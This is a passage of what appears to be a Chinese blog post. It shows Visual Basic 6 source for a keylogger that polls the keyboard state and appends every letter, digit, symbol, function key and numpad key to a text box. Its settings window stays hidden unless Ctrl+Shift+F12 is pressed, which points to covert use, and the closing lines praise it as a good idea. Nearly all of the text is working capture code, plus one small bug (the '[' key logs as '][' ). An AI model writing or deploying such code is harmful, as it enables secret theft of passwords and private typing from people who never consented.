    txtKeyLog.Text = txtKeyLog.Text + "Y"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "y"
End If

'记录大写字母Z和小写字母z
lngKeyState = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "Z"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "z"
End If
'记录数字1和!号
lngKeyState = GetAsyncKeyState(vbKey1)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "1"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "!"
End If

'记录数字2和@号
lngKeyState = GetAsyncKeyState(vbKey2)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "2"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "@"
End If

'记录数字3和#号
lngKeyState = GetAsyncKeyState(vbKey3)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "3"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "#"
End If

'记录数字4和$号
lngKeyState = GetAsyncKeyState(vbKey4)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "4"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "$"
End If

'记录数字5和%号
lngKeyState = GetAsyncKeyState(vbKey5)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "5"
End If
      
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "%"
End If

'记录数字6和^号
lngKeyState = GetAsyncKeyState(vbKey6)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "6"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "^"
End If

'记录数字7和&号
lngKeyState = GetAsyncKeyState(vbKey7)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "7"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "&"
End If
   
'记录数字8和*号
lngKeyState = GetAsyncKeyState(vbKey8)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "8"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "*"
End If

'记录数字9和(号
lngKeyState = GetAsyncKeyState(vbKey9)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "9"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "("
End If

'记录数字0和)号
lngKeyState = GetAsyncKeyState(vbKey0)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "0"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + ")"
End If

'记录退格键
lngKeyState = GetAsyncKeyState(vbKeyBack)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{BackSpace}"
End If
   
'记录Tab键
lngKeyState = GetAsyncKeyState(vbKeyTab)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Tab}"
End If
   
'记录回车键
lngKeyState = GetAsyncKeyState(vbKeyReturn)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + vbCrLf
End If
   
'记录Shift键
lngKeyState = GetAsyncKeyState(vbKeyShift)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Shift}"
End If
   
'记录Ctrl键
lngKeyState = GetAsyncKeyState(vbKeyControl)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Ctrl}"
End If
   
'记录Alt键
lngKeyState = GetAsyncKeyState(vbKeyMenu)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Alt}"
End If
   
'记录暂停键
lngKeyState = GetAsyncKeyState(vbKeyPause)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Pause}"
End If
   
'记录退出键
lngKeyState = GetAsyncKeyState(vbKeyEscape)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Esc}"
End If
   
'记录空格键
lngKeyState = GetAsyncKeyState(vbKeySpace)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + " "
End If
   
'记录End键
lngKeyState = GetAsyncKeyState(vbKeyEnd)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{End}"
End If

'记录Home键
lngKeyState = GetAsyncKeyState(vbKeyHome)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Home}"
End If

'记录方向左键
lngKeyState = GetAsyncKeyState(vbKeyLeft)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Left}"
End If

'记录方向右键
lngKeyState = GetAsyncKeyState(vbKeyRight)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Right}"
End If

'记录方向上键
lngKeyState = GetAsyncKeyState(vbKeyUp)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Up}"
End If
   
'记录方向下键
lngKeyState = GetAsyncKeyState(vbKeyDown)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Down}"
End If

'记录插入键
lngKeyState = GetAsyncKeyState(vbKeyInsert)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Insert}"
End If

'记录删除键
lngKeyState = GetAsyncKeyState(vbKeyDelete)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Delete}"
End If

'记录;号和:号
lngKeyState = GetAsyncKeyState(&HBA)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + ";"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + ":"
End If
     
'记录=号和+号
lngKeyState = GetAsyncKeyState(&HBB)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "="
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "+"
End If

'记录,号和<号
lngKeyState = GetAsyncKeyState(&HBC)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + ","
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "<"
End If

'记录-号和_号
lngKeyState = GetAsyncKeyState(&HBD)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "-"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "_"
End If

'记录.号和>号
lngKeyState = GetAsyncKeyState(&HBE)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "."
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + ">"
End If

'记录/和?号
lngKeyState = GetAsyncKeyState(&HBF)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "/"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "?"
End If

'记录`号和~号
lngKeyState = GetAsyncKeyState(&HC0)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "`"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "~"
End If

'记录[号和{号
lngKeyState = GetAsyncKeyState(&HDB)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "]["
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{"
End If

'记录/和|
lngKeyState = GetAsyncKeyState(&HDC)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "/"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "|"
End If

'记录]号和}号
lngKeyState = GetAsyncKeyState(&HDD)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "]"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "}"
End If

'记录'号和"号
lngKeyState = GetAsyncKeyState(&HDE)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "'"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + Chr$(34)
End If

'记录*号
lngKeyState = GetAsyncKeyState(vbKeyMultiply)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "*"
End If

'记录/号
lngKeyState = GetAsyncKeyState(vbKeyDivide)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "/"
End If

'记录+号
lngKeyState = GetAsyncKeyState(vbKeyAdd)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "+"
End If

'记录-号
lngKeyState = GetAsyncKeyState(vbKeySubtract)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "-"
End If
   
'记录Del键
lngKeyState = GetAsyncKeyState(vbKeyDecimal)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Del}"
End If
     
'记录F1键
lngKeyState = GetAsyncKeyState(vbKeyF1)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F1}"
End If
   
'记录F2键
lngKeyState = GetAsyncKeyState(vbKeyF2)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F2}"
End If
   
'记录F3键
lngKeyState = GetAsyncKeyState(vbKeyF3)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F3}"
End If
   
'记录F4键
lngKeyState = GetAsyncKeyState(vbKeyF4)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F4}"
End If
   
'记录F5键
lngKeyState = GetAsyncKeyState(vbKeyF5)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F5}"
End If
   
'记录F6键
lngKeyState = GetAsyncKeyState(vbKeyF6)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F6}"
End If
   
'记录F7键
lngKeyState = GetAsyncKeyState(vbKeyF7)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F7}"
End If
   
'记录F8键
lngKeyState = GetAsyncKeyState(vbKeyF8)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F8}"
End If
   
'记录F9键
lngKeyState = GetAsyncKeyState(vbKeyF9)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F9}"
End If
   
'记录F10键
lngKeyState = GetAsyncKeyState(vbKeyF10)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F10}"
End If
   
'记录F11键
lngKeyState = GetAsyncKeyState(vbKeyF11)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F11}"
End If
   
'记录F12键
lngKeyState = GetAsyncKeyState(vbKeyF12)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F12}"
End If
     
'当按下Ctrl + Shift + F12时出现系统设置画面
If lngShift <> 0 And GetAsyncKeyState(vbKeyControl) And (lngKeyState And &H1) = &H1 Then
    frmMain.Visible = True
End If
         
'记录NumLock键
lngKeyState = GetAsyncKeyState(vbKeyNumlock)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{NumLock}"
End If
     
'记录ScrollLock键
lngKeyState = GetAsyncKeyState(vbKeyScrollLock)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{ScrollLock}"
End If
   
'记录PrintScreen键
lngKeyState = GetAsyncKeyState(vbKeyPrint)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{PrintScreen}"
End If
       
'记录PageUp键
lngKeyState = GetAsyncKeyState(vbKeyPageUp)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{PageUp}"
End If
       
'记录PageDown键
lngKeyState = GetAsyncKeyState(vbKeyPageDown)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{PageDown}"
End If

'记录数字键盘的1
lngKeyState = GetAsyncKeyState(vbKeyNumpad1)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "1"
End If
         
'记录数字键盘的2
lngKeyState = GetAsyncKeyState(vbKeyNumpad2)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "2"
End If
         
'记录数字键盘的3
lngKeyState = GetAsyncKeyState(vbKeyNumpad3)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "3"
End If
         
'记录数字键盘的4
lngKeyState = GetAsyncKeyState(vbKeyNumpad4)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "4"
End If
         
'记录数字键盘的5
lngKeyState = GetAsyncKeyState(vbKeyNumpad5)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "5"
End If
         
'记录数字键盘的6
lngKeyState = GetAsyncKeyState(vbKeyNumpad6)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "6"
End If
         
'记录数字键盘的7
lngKeyState = GetAsyncKeyState(vbKeyNumpad7)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "7"
End If
         
'记录数字键盘的8
lngKeyState = GetAsyncKeyState(vbKeyNumpad8)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "8"
End If
         
'记录数字键盘的9
lngKeyState = GetAsyncKeyState(vbKeyNumpad9)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "9"
End If
         
'记录数字键盘的0
lngKeyState = GetAsyncKeyState(vbKeyNumpad0)
If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "0"
End If

End Sub

这个程序没有多少难度,就是一个好的创意。希望大家也能有一些好的创意。

原创粉丝点击